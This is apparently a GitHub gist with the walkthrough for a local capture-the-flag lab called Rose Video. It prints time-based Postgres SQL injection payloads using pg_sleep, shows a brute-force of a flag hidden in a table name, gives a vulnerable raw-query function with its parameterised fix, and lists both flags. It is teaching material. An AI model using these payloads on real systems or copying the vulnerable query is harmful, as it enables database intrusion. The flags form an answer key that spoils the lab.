Skip to content

Instantly share code, notes, and snippets.

@ike
Created August 15, 2023 16:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ike/830dffe1b23efeba1ca0758721b2ea04 to your computer and use it in GitHub Desktop.
Save ike/830dffe1b23efeba1ca0758721b2ea04 to your computer and use it in GitHub Desktop.

Rose Video Walkthrough

At Rose Video, the developers are hard at work building a new API to support the classic movie rental business. This API is time-sensitive, as a new mobile app is coming early next year. As a new hire, you need to jump in and get your hands dirty in a clean fresh API.

Vulnerabilities

  • Time-base SQL injection
  • Credentials in repository

Methodologies

  • Brute-force exfiltration from DB
  • Secure Coding best practices

Design Specification

The challenge consists of three docker containers, api, db, and status. The api container contains a time-based sql injection vulnerability.

architecture.jpg

  • api: localhost:8000
  • db: localhost:5432
  • status: localhost:8020

If the sql injection is exploited, the player will be able to brute-force exfiltrate the name of a table which contains the flag.

The DB container runs Postgres 15, and contains a set of data for a video rental company.

The Status container contains an obfuscated script that watches the status of the api and db containers, and which serves a status page.

The Status container watches the API to determine if the SQLi vulnerability still exists. If the vulnerability is fixed, it shows a flag on the status page.

The Status container also watches the DB to determine if a user is accessing the database directly. If a user is accessing the database directly, it removes the flag in a table name. In order to reset the flag, drop all the containers and their volumes, and start the containers again.

Running the Challenge

Prerequisites

  • docker and docker compose installed on your machine

Clone this repository, and run docker compose up -d. The main site will load on localhost:8000.

To reset the challenge, run docker compose down -v and then docker compose up -d again.

Full Solution Explanation

Reconnaissance and Setup

First, we will find the credentials in the .env file, and use those to log in to the API tool. The API tool has all the objects on the API, and allows us to explore the data.

You will find that Rentals have a new relationship with Renewals, and a new Token is generated on a rental that will allow a renewal to be created.

Create a Rental, or find a rental that has a renewal_token on it. Use the rental_id and the associated token to create a Renewal.

Exploit

If we use a time-based Postgres injection on the token field, we will see the request is delayed.

{
    "rental": 16052,
    "new_return_date": "2023-04-07",
    "token": "7ab67b73-871d-4993-98f9-125dba741644'||pg_sleep(20); -- -"
}

Since this request is delayed, we can exploit this endpoint! There is a time-based sql injection here, which means that we can get the request to take longer under certain conditions. For example, we could write a query which checked if a table exists, and if it does, delay 20 seconds.

If we use the starts_with() Postgres function, we can find -- character by character -- a flag hidden in a table name. We know the flag starts with ASV, so let's start there:

{
    "rental": 16052,
    "new_return_date": "2023-04-07",
    "token": "7ab67b73-871d-4993-98f9-125dba741644'||(SELECT CASE WHEN EXISTS((SELECT table_name FROM information_schema.tables WHERE starts_with(table_name, 'ASV{'))) THEN pg_sleep(20) ELSE '' END); -- -"
}

Sure enough, it takes 20 seconds to load this request! There's a table in the database that starts with ASV{.

Using this method, we can brute-force the flag from the database:

{
    "rental": 16052,
    "new_return_date": "2023-04-07",
    "token": "7ab67b73-871d-4993-98f9-125dba741644'||(SELECT CASE WHEN EXISTS((SELECT table_name FROM information_schema.tables WHERE starts_with(table_name, 'ASV{PeopleLovePizzaz}'))) THEN pg_sleep(20) ELSE '' END); -- -"
}

FLAG: ASV{PeopleLovePizzaz}

Secure Coding

A second flag can be found if the SQL injection is fixed in the api/rosevideo/dvdrental/models.py file:

If we change this code:

def check_token(token, customer):
    return len(Token.objects.raw("SELECT * FROM token WHERE customer_id = %s AND token = '" + token + "'", [customer.customer_id])) > 0

To something like this:

def check_token(token, customer):
    return Token.objects.filter(token=token, customer=customer).exists()

The second flag will appear on the status site: localhost:8020

FLAG: ASV{7wee+U50nF@ce6ook}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment